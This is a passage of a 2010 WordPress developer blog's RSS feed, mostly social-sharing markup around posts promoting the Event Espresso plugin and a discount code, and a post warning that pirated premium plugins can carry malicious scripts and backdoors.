href="http://www.linkedin.com/shareArticle?mini=true&amp;url=http://shoultes.net/friends-dont-let-friends-host-events-eventbrite/&amp;title=Friends+Don%E2%80%99t+Let+Friends+Host+Events+on+Eventbrite&amp;summary=Still%20using%20Eventbrite%20to%20host%20your%20events%3F%20You%20could%20be%20wasting%20hundreds%20of%20dollars%20in%20fees.%0D%0A%0D%0AIn%20a%20recent%20blog%20post%2C%20Event%20Espresso%20goes%20head-to-head%20with%20Eventbrite.%20While%20Event%20Espresso%20boasts%20no%20per%20event%20registration%20fees%20and%20transaction%20%20fees%20and%20your%20customer%27s%20data%20is%20stored%20safely%20on%20your&amp;source=Shoultes.net" rel="nofollow" class="external" title="Share this on LinkedIn">Share this on LinkedIn</a></li><li class="shr-mail"> <a href="mailto:?subject=%22Friends%20Don%E2%80%99t%20Let%20Friends%20Host%20Events%20on%20Eventbrite%22&amp;body=Link: http://shoultes.net/friends-dont-let-friends-host-events-eventbrite/ (sent via shareaholic)%0D%0A%0D%0A----%0D%0A Still%20using%20Eventbrite%20to%20host%20your%20events%3F%20You%20could%20be%20wasting%20hundreds%20of%20dollars%20in%20fees.%0D%0A%0D%0AIn%20a%20recent%20blog%20post%2C%20Event%20Espresso%20goes%20head-to-head%20with%20Eventbrite.%20While%20Event%20Espresso%20boasts%20no%20per%20event%20registration%20fees%20and%20transaction%20%20fees%20and%20your%20customer%27s%20data%20is%20stored%20safely%20on%20your" rel="nofollow" class="external" title="Email this to a friend?">Email this to a friend?</a></li><li class="shr-squidoo"> <a href="http://www.squidoo.com/lensmaster/bookmark?http://shoultes.net/friends-dont-let-friends-host-events-eventbrite/" rel="nofollow" class="external" title="Add to a lense on Squidoo">Add to a lense on Squidoo</a></li><li class="shr-yahoobuzz"> <a href="http://buzz.yahoo.com/submit/?submitUrl=http://shoultes.net/friends-dont-let-friends-host-events-eventbrite/&amp;submitHeadline=Friends+Don%E2%80%99t+Let+Friends+Host+Events+on+Eventbrite&amp;submitSummary=Still%20using%20Eventbrite%20to%20host%20your%20events%3F%20You%20could%20be%20wasting%20hundreds%20of%20dollars%20in%20fees.%0D%0A%0D%0AIn%20a%20recent%20blog%20post%2C%20Event%20Espresso%20goes%20head-to-head%20with%20Eventbrite.%20While%20Event%20Espresso%20boasts%20no%20per%20event%20registration%20fees%20and%20transaction%20%20fees%20and%20your%20customer%27s%20data%20is%20stored%20safely%20on%20your&amp;submitCategory=business&amp;submitAssetType=text" rel="nofollow" class="external" title="Buzz up!">Buzz up!</a></li><li class="shr-yahoomail"> <a href="http://compose.mail.yahoo.com/?Subject=Friends+Don%E2%80%99t+Let+Friends+Host+Events+on+Eventbrite&amp;body=Link: http://shoultes.net/friends-dont-let-friends-host-events-eventbrite/ (sent via shareaholic)%0D%0A%0D%0A----%0D%0A Still%20using%20Eventbrite%20to%20host%20your%20events%3F%20You%20could%20be%20wasting%20hundreds%20of%20dollars%20in%20fees.%0D%0A%0D%0AIn%20a%20recent%20blog%20post%2C%20Event%20Espresso%20goes%20head-to-head%20with%20Eventbrite.%20While%20Event%20Espresso%20boasts%20no%20per%20event%20registration%20fees%20and%20transaction%20%20fees%20and%20your%20customer%27s%20data%20is%20stored%20safely%20on%20your" rel="nofollow" class="external" title="Email this via Yahoo! Mail">Email this via Yahoo! Mail</a></li></ul><div style="clear:both;"></div></div>]]></content:encoded> <wfw:commentRss>http://shoultes.net/friends-dont-let-friends-host-events-eventbrite/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>How Do I Allow Members to Create Events?</title><link>http://shoultes.net/members-create-events-2/</link> <comments>http://shoultes.net/members-create-events-2/#comments</comments> <pubDate>Thu, 29 Jul 2010 18:49:44 +0000</pubDate> <dc:creator>Seth</dc:creator> <category><![CDATA[Event Espresso]]></category> <category><![CDATA[My Plugins]]></category> <category><![CDATA[PHP]]></category> <category><![CDATA[PHP Code Samples]]></category> <category><![CDATA[Wordpress]]></category> <category><![CDATA[Wordpress Plugins]]></category><guid isPermaLink="false">http://shoultes.net/?p=2061</guid> <description><![CDATA[This question has been asked quite a few times, so I have decided to post a tutorial in the new Event Espresso forums. If this question has been plaguing you as well, be sure to check it out. Tweet This! Share this on Facebook Digg this! Stumble upon something good? Share it on StumbleUpon Share [...]]]></description> <content:encoded><![CDATA[<p>This question has been asked quite a few times, so I have decided to post a <a href="http://eventespresso.com/forums/2010/07/how-do-i-allow-members-to-create-events/" target="_blank">tutorial</a> in the new <a href="http://eventespresso.com/forums/" target="_blank">Event Espresso forums</a>. If this question has been plaguing you as well, be sure to <a href="http://eventespresso.com/forums/2010/07/how-do-i-allow-members-to-create-events/" target="_blank">check it out</a>.</p><div class="shr-bookmarks shr-bookmarks-expand shr-bookmarks-center shr-bookmarks-bg-enjoy"><ul class="socials"><li class="shr-twitter"> <a href="http://twitter.com/home?status=How+Do+I+Allow+Members+to+Create+Events%3F+-+http://bit.ly/dnOVv8&amp;source=shareaholic" rel="nofollow" class="external" title="Tweet This!">Tweet This!</a></li><li class="shr-facebook"> <a href="http://www.facebook.com/share.php?v=4&amp;src=bm&amp;u=http://shoultes.net/members-create-events-2/&amp;t=How+Do+I+Allow+Members+to+Create+Events%3F" rel="nofollow" class="external" title="Share this on Facebook">Share this on Facebook</a></li><li class="shr-digg"> <a href="http://digg.com/submit?phase=2&amp;url=http://shoultes.net/members-create-events-2/&amp;title=How+Do+I+Allow+Members+to+Create+Events%3F" rel="nofollow" class="external" title="Digg this!">Digg this!</a></li><li class="shr-stumbleupon"> <a href="http://www.stumbleupon.com/submit?url=http://shoultes.net/members-create-events-2/&amp;title=How+Do+I+Allow+Members+to+Create+Events%3F" rel="nofollow" class="external" title="Stumble upon something good? Share it on StumbleUpon">Stumble upon something good? Share it on StumbleUpon</a></li><li class="shr-reddit"> <a href="http://reddit.com/submit?url=http://shoultes.net/members-create-events-2/&amp;title=How+Do+I+Allow+Members+to+Create+Events%3F" rel="nofollow" class="external" title="Share this on Reddit">Share this on Reddit</a></li><li class="shr-delicious"> <a href="http://delicious.com/post?url=http://shoultes.net/members-create-events-2/&amp;title=How+Do+I+Allow+Members+to+Create+Events%3F" rel="nofollow" class="external" title="Share this on del.icio.us">Share this on del.icio.us</a></li><li class="shr-gmail"> <a href="https://mail.google.com/mail/?ui=2&amp;view=cm&amp;fs=1&amp;tf=1&amp;su=How+Do+I+Allow+Members+to+Create+Events%3F&amp;body=Link: http://shoultes.net/members-create-events-2/ (sent via shareaholic)%0D%0A%0D%0A----%0D%0A This%20question%20has%20been%20asked%20quite%20a%20few%20times%2C%20so%20I%20have%20decided%20to%20post%20a%20tutorial%20in%20the%20new%20Event%20Espresso%20forums.%20If%20this%20question%20has%20been%20plaguing%20you%20as%20well%2C%20be%20sure%20to%20check%20it%20out." rel="nofollow" class="external" title="Email this via Gmail">Email this via Gmail</a></li><li class="shr-googlebookmarks"> <a href="http://www.google.com/bookmarks/mark?op=add&amp;bkmk=http://shoultes.net/members-create-events-2/&amp;title=How+Do+I+Allow+Members+to+Create+Events%3F" rel="nofollow" class="external" title="Add this to Google Bookmarks">Add this to Google Bookmarks</a></li><li class="shr-blogger"> <a href="http://www.blogger.com/blog_this.pyra?t&amp;u=http://shoultes.net/members-create-events-2/&amp;n=How+Do+I+Allow+Members+to+Create+Events%3F&amp;pli=1" rel="nofollow" class="external" title="Blog this on Blogger">Blog this on Blogger</a></li><li class="shr-comfeed"> <a href="http://shoultes.net/members-create-events-2/feed" rel="nofollow" class="external" title="Subscribe to the comments for this post?">Subscribe to the comments for this post?</a></li><li class="shr-dzone"> <a href="http://www.dzone.com/links/add.html?url=http://shoultes.net/members-create-events-2/&amp;title=How+Do+I+Allow+Members+to+Create+Events%3F&amp;description=This%20question%20has%20been%20asked%20quite%20a%20few%20times%2C%20so%20I%20have%20decided%20to%20post%20a%20tutorial%20in%20the%20new%20Event%20Espresso%20forums.%20If%20this%20question%20has%20been%20plaguing%20you%20as%20well%2C%20be%20sure%20to%20check%20it%20out." rel="nofollow" class="external" title="Add this to DZone">Add this to DZone</a></li><li class="shr-googlebuzz"> <a href="http://www.google.com/buzz/post?url=http://shoultes.net/members-create-events-2/&amp;imageurl=" rel="nofollow" class="external" title="Post on Google Buzz">Post on Google Buzz</a></li><li class="shr-googlereader"> <a href="http://www.google.com/reader/link?url=http://shoultes.net/members-create-events-2/&amp;title=How+Do+I+Allow+Members+to+Create+Events%3F&amp;srcUrl=http://shoultes.net/members-create-events-2/&amp;srcTitle=How+Do+I+Allow+Members+to+Create+Events%3F&amp;snippet=This%20question%20has%20been%20asked%20quite%20a%20few%20times%2C%20so%20I%20have%20decided%20to%20post%20a%20tutorial%20in%20the%20new%20Event%20Espresso%20forums.%20If%20this%20question%20has%20been%20plaguing%20you%20as%20well%2C%20be%20sure%20to%20check%20it%20out." rel="nofollow" class="external" title="Add this to Google Reader">Add this to Google Reader</a></li><li class="shr-linkedin"> <a href="http://www.linkedin.com/shareArticle?mini=true&amp;url=http://shoultes.net/members-create-events-2/&amp;title=How+Do+I+Allow+Members+to+Create+Events%3F&amp;summary=This%20question%20has%20been%20asked%20quite%20a%20few%20times%2C%20so%20I%20have%20decided%20to%20post%20a%20tutorial%20in%20the%20new%20Event%20Espresso%20forums.%20If%20this%20question%20has%20been%20plaguing%20you%20as%20well%2C%20be%20sure%20to%20check%20it%20out.&amp;source=Shoultes.net" rel="nofollow" class="external" title="Share this on LinkedIn">Share this on LinkedIn</a></li><li class="shr-mail"> <a href="mailto:?subject=%22How%20Do%20I%20Allow%20Members%20to%20Create%20Events%3F%22&amp;body=Link: http://shoultes.net/members-create-events-2/ (sent via shareaholic)%0D%0A%0D%0A----%0D%0A This%20question%20has%20been%20asked%20quite%20a%20few%20times%2C%20so%20I%20have%20decided%20to%20post%20a%20tutorial%20in%20the%20new%20Event%20Espresso%20forums.%20If%20this%20question%20has%20been%20plaguing%20you%20as%20well%2C%20be%20sure%20to%20check%20it%20out." rel="nofollow" class="external" title="Email this to a friend?">Email this to a friend?</a></li><li class="shr-squidoo"> <a href="http://www.squidoo.com/lensmaster/bookmark?http://shoultes.net/members-create-events-2/" rel="nofollow" class="external" title="Add to a lense on Squidoo">Add to a lense on Squidoo</a></li><li class="shr-yahoobuzz"> <a href="http://buzz.yahoo.com/submit/?submitUrl=http://shoultes.net/members-create-events-2/&amp;submitHeadline=How+Do+I+Allow+Members+to+Create+Events%3F&amp;submitSummary=This%20question%20has%20been%20asked%20quite%20a%20few%20times%2C%20so%20I%20have%20decided%20to%20post%20a%20tutorial%20in%20the%20new%20Event%20Espresso%20forums.%20If%20this%20question%20has%20been%20plaguing%20you%20as%20well%2C%20be%20sure%20to%20check%20it%20out.&amp;submitCategory=business&amp;submitAssetType=text" rel="nofollow" class="external" title="Buzz up!">Buzz up!</a></li><li class="shr-yahoomail"> <a href="http://compose.mail.yahoo.com/?Subject=How+Do+I+Allow+Members+to+Create+Events%3F&amp;body=Link: http://shoultes.net/members-create-events-2/ (sent via shareaholic)%0D%0A%0D%0A----%0D%0A This%20question%20has%20been%20asked%20quite%20a%20few%20times%2C%20so%20I%20have%20decided%20to%20post%20a%20tutorial%20in%20the%20new%20Event%20Espresso%20forums.%20If%20this%20question%20has%20been%20plaguing%20you%20as%20well%2C%20be%20sure%20to%20check%20it%20out." rel="nofollow" class="external" title="Email this via Yahoo! Mail">Email this via Yahoo! Mail</a></li></ul><div style="clear:both;"></div></div>]]></content:encoded> <wfw:commentRss>http://shoultes.net/members-create-events-2/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>Get $10 OFF the Premium Event Manager Plugin for WordPress</title><link>http://shoultes.net/10-dollar-discount-premium-event-manager-plugin-wordpress/</link> <comments>http://shoultes.net/10-dollar-discount-premium-event-manager-plugin-wordpress/#comments</comments> <pubDate>Wed, 28 Jul 2010 07:07:43 +0000</pubDate> <dc:creator>Seth</dc:creator> <category><![CDATA[Event Espresso]]></category> <category><![CDATA[Events]]></category> <category><![CDATA[Featured Posts]]></category> <category><![CDATA[My Plugins]]></category> <category><![CDATA[Open Source]]></category> <category><![CDATA[PHP]]></category> <category><![CDATA[PayPal]]></category> <category><![CDATA[Wordpress]]></category> <category><![CDATA[Wordpress Plugins]]></category> <category><![CDATA[Authorize.net]]></category> <category><![CDATA[Coupon Code]]></category> <category><![CDATA[discount]]></category> <category><![CDATA[event registration]]></category> <category><![CDATA[Plugin]]></category> <category><![CDATA[upgrade]]></category><guid isPermaLink="false">http://shoultes.net/?p=2040</guid> <description><![CDATA[We have just reached 5,000 downloads of Advanced Events Registration, the premiere event registration and management plugin for WordPress. To celebrate, we offering $10 off the purchase price of premium version of the plugin, to the first 50 people! Use the discount code AER5000 to claim your discount at the time of purchase. Order now [...]]]></description> <content:encoded><![CDATA[<p>We have just reached <a href="http://wordpress.org/extend/plugins/advanced-events-registration/stats/" target="_blank">5,000 downloads</a> of <a href="http://wordpress.org/extend/plugins/advanced-events-registration/" target="_blank">Advanced Events Registration</a>, the premiere event registration and management plugin for <a href="http://wordpress.org" target="_blank">WordPress</a>.</p><p>To celebrate, we offering $10 off the purchase price of <a href="http://shoultes.net/upgrade-to-pro-version/">premium version</a> of the plugin, to the first 50 people! Use the discount code <strong>AER5000</strong> to claim your discount at the time of purchase. Order now and you will also get a first look at <a href="http://eventespresso.com/" target="_blank">version 3</a><span style="color: #ff0000;">*</span> of the new <a href="http://eventespresso.com/" target="_blank">Event Espresso plugin</a>.</p><p><span style="color: #ff0000;">*</span>Everyone who has purchased the <a href="http://shoultes.net/upgrade-to-pro-version/">Advanced Events Registration</a> plugin will also get a free upgrade to the <a href="http://eventespresso.com/" target="_blank">new version</a> shortly after release.</p><div class="shr-bookmarks shr-bookmarks-expand shr-bookmarks-center shr-bookmarks-bg-enjoy"><ul class="socials"><li class="shr-twitter"> <a href="http://twitter.com/home?status=Get+%2410+OFF+the+Premium+Event+Manager+Plugin+for+WordPress+-+http://bit.ly/cqhhF0&amp;source=shareaholic" rel="nofollow" class="external" title="Tweet This!">Tweet This!</a></li><li class="shr-facebook"> <a href="http://www.facebook.com/share.php?v=4&amp;src=bm&amp;u=http://shoultes.net/10-dollar-discount-premium-event-manager-plugin-wordpress/&amp;t=Get+%2410+OFF+the+Premium+Event+Manager+Plugin+for+WordPress" rel="nofollow" class="external" title="Share this on Facebook">Share this on Facebook</a></li><li class="shr-digg"> <a href="http://digg.com/submit?phase=2&amp;url=http://shoultes.net/10-dollar-discount-premium-event-manager-plugin-wordpress/&amp;title=Get+%2410+OFF+the+Premium+Event+Manager+Plugin+for+WordPress" rel="nofollow" class="external" title="Digg this!">Digg this!</a></li><li class="shr-stumbleupon"> <a href="http://www.stumbleupon.com/submit?url=http://shoultes.net/10-dollar-discount-premium-event-manager-plugin-wordpress/&amp;title=Get+%2410+OFF+the+Premium+Event+Manager+Plugin+for+WordPress" rel="nofollow" class="external" title="Stumble upon something good? Share it on StumbleUpon">Stumble upon something good? Share it on StumbleUpon</a></li><li class="shr-reddit"> <a href="http://reddit.com/submit?url=http://shoultes.net/10-dollar-discount-premium-event-manager-plugin-wordpress/&amp;title=Get+%2410+OFF+the+Premium+Event+Manager+Plugin+for+WordPress" rel="nofollow" class="external" title="Share this on Reddit">Share this on Reddit</a></li><li class="shr-delicious"> <a href="http://delicious.com/post?url=http://shoultes.net/10-dollar-discount-premium-event-manager-plugin-wordpress/&amp;title=Get+%2410+OFF+the+Premium+Event+Manager+Plugin+for+WordPress" rel="nofollow" class="external" title="Share this on del.icio.us">Share this on del.icio.us</a></li><li class="shr-gmail"> <a href="https://mail.google.com/mail/?ui=2&amp;view=cm&amp;fs=1&amp;tf=1&amp;su=Get+%2410+OFF+the+Premium+Event+Manager+Plugin+for+WordPress&amp;body=Link: http://shoultes.net/10-dollar-discount-premium-event-manager-plugin-wordpress/ (sent via shareaholic)%0D%0A%0D%0A----%0D%0A We%20have%20just%20reached%205%2C000%20downloads%20of%20Advanced%20Events%20Registration%2C%20the%20premiere%20event%20registration%20and%20management%20plugin%20for%20WordPress.%0D%0A%0D%0ATo%20celebrate%2C%20we%20offering%20%2410%20off%20the%20purchase%20price%20of%20premium%20version%20of%20the%20plugin%2C%20to%20the%20first%2050%20people%21%20Use%20the%20discount%20code%20AER5000%20to%20claim%20your%20dis" rel="nofollow" class="external" title="Email this via Gmail">Email this via Gmail</a></li><li class="shr-googlebookmarks"> <a href="http://www.google.com/bookmarks/mark?op=add&amp;bkmk=http://shoultes.net/10-dollar-discount-premium-event-manager-plugin-wordpress/&amp;title=Get+%2410+OFF+the+Premium+Event+Manager+Plugin+for+WordPress" rel="nofollow" class="external" title="Add this to Google Bookmarks">Add this to Google Bookmarks</a></li><li class="shr-blogger"> <a href="http://www.blogger.com/blog_this.pyra?t&amp;u=http://shoultes.net/10-dollar-discount-premium-event-manager-plugin-wordpress/&amp;n=Get+%2410+OFF+the+Premium+Event+Manager+Plugin+for+WordPress&amp;pli=1" rel="nofollow" class="external" title="Blog this on Blogger">Blog this on Blogger</a></li><li class="shr-comfeed"> <a href="http://shoultes.net/10-dollar-discount-premium-event-manager-plugin-wordpress/feed" rel="nofollow" class="external" title="Subscribe to the comments for this post?">Subscribe to the comments for this post?</a></li><li class="shr-dzone"> <a href="http://www.dzone.com/links/add.html?url=http://shoultes.net/10-dollar-discount-premium-event-manager-plugin-wordpress/&amp;title=Get+%2410+OFF+the+Premium+Event+Manager+Plugin+for+WordPress&amp;description=We%20have%20just%20reached%205%2C000%20downloads%20of%20Advanced%20Events%20Registration%2C%20the%20premiere%20event%20registration%20and%20management%20plugin%20for%20WordPress.%0D%0A%0D%0ATo%20celebrate%2C%20we%20offering%20%2410%20off%20the%20purchase%20price%20of%20premium%20version%20of%20the%20plugin%2C%20to%20the%20first%2050%20people%21%20Use%20the%20discount%20code%20AER5000%20to%20claim%20your%20dis" rel="nofollow" class="external" title="Add this to DZone">Add this to DZone</a></li><li class="shr-googlebuzz"> <a href="http://www.google.com/buzz/post?url=http://shoultes.net/10-dollar-discount-premium-event-manager-plugin-wordpress/&amp;imageurl=" rel="nofollow" class="external" title="Post on Google Buzz">Post on Google Buzz</a></li><li class="shr-googlereader"> <a href="http://www.google.com/reader/link?url=http://shoultes.net/10-dollar-discount-premium-event-manager-plugin-wordpress/&amp;title=Get+%2410+OFF+the+Premium+Event+Manager+Plugin+for+WordPress&amp;srcUrl=http://shoultes.net/10-dollar-discount-premium-event-manager-plugin-wordpress/&amp;srcTitle=Get+%2410+OFF+the+Premium+Event+Manager+Plugin+for+WordPress&amp;snippet=We%20have%20just%20reached%205%2C000%20downloads%20of%20Advanced%20Events%20Registration%2C%20the%20premiere%20event%20registration%20and%20management%20plugin%20for%20WordPress.%0D%0A%0D%0ATo%20celebrate%2C%20we%20offering%20%2410%20off%20the%20purchase%20price%20of%20premium%20version%20of%20the%20plugin%2C%20to%20the%20first%2050%20people%21%20Use%20the%20discount%20code%20AER5000%20to%20claim%20your%20dis" rel="nofollow" class="external" title="Add this to Google Reader">Add this to Google Reader</a></li><li class="shr-linkedin"> <a href="http://www.linkedin.com/shareArticle?mini=true&amp;url=http://shoultes.net/10-dollar-discount-premium-event-manager-plugin-wordpress/&amp;title=Get+%2410+OFF+the+Premium+Event+Manager+Plugin+for+WordPress&amp;summary=We%20have%20just%20reached%205%2C000%20downloads%20of%20Advanced%20Events%20Registration%2C%20the%20premiere%20event%20registration%20and%20management%20plugin%20for%20WordPress.%0D%0A%0D%0ATo%20celebrate%2C%20we%20offering%20%2410%20off%20the%20purchase%20price%20of%20premium%20version%20of%20the%20plugin%2C%20to%20the%20first%2050%20people%21%20Use%20the%20discount%20code%20AER5000%20to%20claim%20your%20dis&amp;source=Shoultes.net" rel="nofollow" class="external" title="Share this on LinkedIn">Share this on LinkedIn</a></li><li class="shr-mail"> <a href="mailto:?subject=%22Get%20%2410%20OFF%20the%20Premium%20Event%20Manager%20Plugin%20for%20WordPress%22&amp;body=Link: http://shoultes.net/10-dollar-discount-premium-event-manager-plugin-wordpress/ (sent via shareaholic)%0D%0A%0D%0A----%0D%0A We%20have%20just%20reached%205%2C000%20downloads%20of%20Advanced%20Events%20Registration%2C%20the%20premiere%20event%20registration%20and%20management%20plugin%20for%20WordPress.%0D%0A%0D%0ATo%20celebrate%2C%20we%20offering%20%2410%20off%20the%20purchase%20price%20of%20premium%20version%20of%20the%20plugin%2C%20to%20the%20first%2050%20people%21%20Use%20the%20discount%20code%20AER5000%20to%20claim%20your%20dis" rel="nofollow" class="external" title="Email this to a friend?">Email this to a friend?</a></li><li class="shr-squidoo"> <a href="http://www.squidoo.com/lensmaster/bookmark?http://shoultes.net/10-dollar-discount-premium-event-manager-plugin-wordpress/" rel="nofollow" class="external" title="Add to a lense on Squidoo">Add to a lense on Squidoo</a></li><li class="shr-yahoobuzz"> <a href="http://buzz.yahoo.com/submit/?submitUrl=http://shoultes.net/10-dollar-discount-premium-event-manager-plugin-wordpress/&amp;submitHeadline=Get+%2410+OFF+the+Premium+Event+Manager+Plugin+for+WordPress&amp;submitSummary=We%20have%20just%20reached%205%2C000%20downloads%20of%20Advanced%20Events%20Registration%2C%20the%20premiere%20event%20registration%20and%20management%20plugin%20for%20WordPress.%0D%0A%0D%0ATo%20celebrate%2C%20we%20offering%20%2410%20off%20the%20purchase%20price%20of%20premium%20version%20of%20the%20plugin%2C%20to%20the%20first%2050%20people%21%20Use%20the%20discount%20code%20AER5000%20to%20claim%20your%20dis&amp;submitCategory=business&amp;submitAssetType=text" rel="nofollow" class="external" title="Buzz up!">Buzz up!</a></li><li class="shr-yahoomail"> <a href="http://compose.mail.yahoo.com/?Subject=Get+%2410+OFF+the+Premium+Event+Manager+Plugin+for+WordPress&amp;body=Link: http://shoultes.net/10-dollar-discount-premium-event-manager-plugin-wordpress/ (sent via shareaholic)%0D%0A%0D%0A----%0D%0A We%20have%20just%20reached%205%2C000%20downloads%20of%20Advanced%20Events%20Registration%2C%20the%20premiere%20event%20registration%20and%20management%20plugin%20for%20WordPress.%0D%0A%0D%0ATo%20celebrate%2C%20we%20offering%20%2410%20off%20the%20purchase%20price%20of%20premium%20version%20of%20the%20plugin%2C%20to%20the%20first%2050%20people%21%20Use%20the%20discount%20code%20AER5000%20to%20claim%20your%20dis" rel="nofollow" class="external" title="Email this via Yahoo! Mail">Email this via Yahoo! Mail</a></li></ul><div style="clear:both;"></div></div>]]></content:encoded> <wfw:commentRss>http://shoultes.net/10-dollar-discount-premium-event-manager-plugin-wordpress/feed/</wfw:commentRss> <slash:comments>2</slash:comments> </item> <item><title>Would you download a pirated premium plugin or theme?</title><link>http://shoultes.net/download-pirated-premium-plugin-theme/</link> <comments>http://shoultes.net/download-pirated-premium-plugin-theme/#comments</comments> <pubDate>Mon, 19 Jul 2010 18:24:11 +0000</pubDate> <dc:creator>Seth</dc:creator> <category><![CDATA[My Plugins]]></category> <category><![CDATA[Open Source]]></category> <category><![CDATA[PHP]]></category> <category><![CDATA[PHP Developer News]]></category> <category><![CDATA[Ramblings]]></category> <category><![CDATA[Website Security]]></category> <category><![CDATA[Wordpress]]></category><guid isPermaLink="false">http://shoultes.net/?p=2012</guid> <description><![CDATA[Beware of &#8220;pirated&#8221; premium plugins and themes that may add malicious scripts and open back doors into your server and/or your WordPress installations. Apparently several people have had the misfortune of downloading a pirated version of my Advanced Events Registration plugin from some file sharing websites. One person&#8217;s site was entirely overwritten with spam posts [...]]]></description> <content:encoded><![CDATA[<p>Beware of &#8220;pirated&#8221; premium plugins and themes that may <a href="http://shoultes.net/wordpresswebsite-security-exploits/">add malicious scripts and open back doors</a> into your server and/or your WordPress installations.</p><p>Apparently several people have had the misfortune of downloading a pirated version of my Advanced Events Registration plugin from some file sharing websites. One person&#8217;s site was entirely overwritten with spam posts and links pirated software. While another persons entire website was completely wiped out.</p><p>The website owner (whom I wont mention here) actually threatened to sue me because five years worth of content was completely removed from their blog. When I asked for a copy of their receipt from the purchase of the premium plugin. The person stated they had downloaded it from a free file hosting website. Can you believe it! So I stated the obvious, &#8220;You didn&#8217;t purchase the plugin from my website, so you will need to contact whomever you received the files from. I am not responsible for code that may be distributed by outside sources.&#8221;</p><p><strong>Moral of the story:</strong></p><p>Premium plugins and themes may be <a href="http://ma.tt/2010/07/theme-are-gpl-too/" target="_blank">GPL licensed</a> (or<a href="http://www.andrewnacin.com/2010/07/15/thesis-gpl/" target="_blank"> not in some cases</a>.) Unless you get them from a trusted source, you may be taking a major risk using them.</p><p><strong>Related information:</strong></p><p><a href="http://www.studiopress.com/wordpress-tips/how-downloading-a-premium-themeplugin-from-the-wrong-place-can-ruin-your-site.htm" target="_blank">How Downloading a Premium Theme/Plugin  From the Wrong Place Can Ruin Your Site</a></p><p><a href="http://www.der-prinz.com/premium-theme-wrong-place-expensive-1069" target="_blank">Downloading a Premium Theme from the Wrong Site can be Expensive</a></p><p><a href="http://www.shoutmeloud.com/download-free-premium-wordpress-theme-whats-the-catch.html" target="_blank">Download Free Premium WordPress theme :What’s  the Catch?</a></p><p><a href="http://stuartduff.com/wordpress-premium-developer-and-author-piracy-my-thoughts-24122009/" target="_blank">WordPress Premium  Developer and Author Piracy My Thoughts</a></p><p><a href="http://themeshaper.com/the-ethics-of-premium-wordpress-themes/" target="_blank">The Ethics of WordPress Themes at a Premium</a></p><div class="shr-bookmarks shr-bookmarks-expand shr-bookmarks-center shr-bookmarks-bg-enjoy"><ul class="socials"><li class="shr-twitter"> <a href="http://twitter.com/home?status=Would+you+download+a+pirated+premium+plugin+or+theme%3F+-+http://bit.ly/cjjJHt&amp;source=shareaholic" rel="nofollow" class="external" title="Tweet This!">Tweet This!</a></li><li class="shr-facebook"> <a href="http://www.facebook.com/share.php?v=4&amp;src=bm&amp;u=http://shoultes.net/download-pirated-premium-plugin-theme/&amp;t=Would+you+download+a+pirated+premium+plugin+or+theme%3F" rel="nofollow" class="external" title="Share this on Facebook">Share this on Facebook</a></li><li class="shr-digg"> <a href="http://digg.com/submit?phase=2&amp;url=http://shoultes.net/download-pirated-premium-plugin-theme/&amp;title=Would+you+download+a+pirated+premium+plugin+or+theme%3F" rel="nofollow" class="external" title="Digg this!">Digg this!</a></li><li class="shr-stumbleupon"> <a href="http://www.stumbleupon.com/submit?url=http://shoultes.net/download-pirated-premium-plugin-theme/&amp;title=Would+you+download+a+pirated+premium+plugin+or+theme%3F" rel="nofollow" class="external" title="Stumble upon something good? Share it on StumbleUpon">Stumble upon something good? Share it on StumbleUpon</a></li><li class="shr-reddit"> <a href="http://reddit.com/submit?url=http://shoultes.net/download-pirated-premium-plugin-theme/&amp;title=Would+you+download+a+pirated+premium+plugin+or+theme%3F" rel="nofollow" class="external" title="Share this on Reddit">Share this on Reddit</a></li><li class="shr-delicious"> <a href="http://delicious.com/post?url=http://shoultes.net/download-pirated-premium-plugin-theme/&amp;title=Would+you+download+a+pirated+premium+plugin+or+theme%3F" rel="nofollow" class="external" title="Share this on del.icio.us">Share this on del.icio.us</a></li><li class="shr-gmail"> <a href="https://mail.google.com/mail/?ui=2&amp;view=cm&amp;fs=1&amp;tf=1&amp;su=Would+you+download+a+pirated+premium+plugin+or+theme%3F&amp;body=Link: http://shoultes.net/download-pirated-premium-plugin-theme/ (sent via shareaholic)%0D%0A%0D%0A----%0D%0A Beware%20of%20%22pirated%22%20premium%20plugins%20and%20themes%20that%20may%20add%20malicious%20scripts%20and%20open%20back%20doors%20into%20your%20server%20and%2For%20your%20WordPress%20installations.%0D%0A%0D%0AApparently%20several%20people%20have%20had%20the%20misfortune%20of%20downloading%20a%20pirated%20version%20of%20my%20Advanced%20Events%20Registration%20plugin%20from%20some%20file%20shari" rel="nofollow" class="external" title="Email this via Gmail">Email this via Gmail</a></li><li class="shr-googlebookmarks"> <a href="http://www.google.com/bookmarks/mark?op=add&amp;bkmk=http://shoultes.net/download-pirated-premium-plugin-theme/&amp;title=Would+you+download+a+pirated+premium+plugin+or+theme%3F" rel="nofollow" class="external" title="Add this to Google Bookmarks">Add this to Google Bookmarks</a></li><li class="shr-blogger"> <a href="http://www.blogger.com/blog_this.pyra?t&amp;u=http://shoultes.net/download-pirated-premium-plugin-theme/&amp;n=Would+you+download+a+pirated+premium+plugin+or+theme%3F&amp;pli=1" rel="nofollow" class="external" title="Blog this on Blogger">Blog this on Blogger</a></li><li class="shr-comfeed"> <a href="http://shoultes.net/download-pirated-premium-plugin-theme/feed" rel="nofollow" class="external" title="Subscribe to the comments for this post?">Subscribe to the comments for this post?</a></li><li class="shr-dzone"> <a href="http://www.dzone.com/links/add.html?url=http://shoultes.net/download-pirated-premium-plugin-theme/&amp;title=Would+you+download+a+pirated+premium+plugin+or+theme%3F&amp;description=Beware%20of%20%22pirated%22%20premium%20plugins%20and%20themes%20that%20may%20add%20malicious%20scripts%20and%20open%20back%20doors%20into%20your%20server%20and%2For%20your%20WordPress%20installations.%0D%0A%0D%0AApparently%20several%20people%20have%20had%20the%20misfortune%20of%20downloading%20a%20pirated%20version%20of%20my%20Advanced%20Events%20Registration%20plugin%20from%20some%20file%20shari" rel="nofollow" class="external" title="Add this to DZone">Add this to DZone</a></li><li class="shr-googlebuzz"> <a href="http://www.google.com/buzz/post?url=http://shoultes.net/download-pirated-premium-plugin-theme/&amp;imageurl=" rel="nofollow" class="external" title="Post on Google Buzz">Post on Google Buzz</a></li><li class="shr-googlereader"> <a 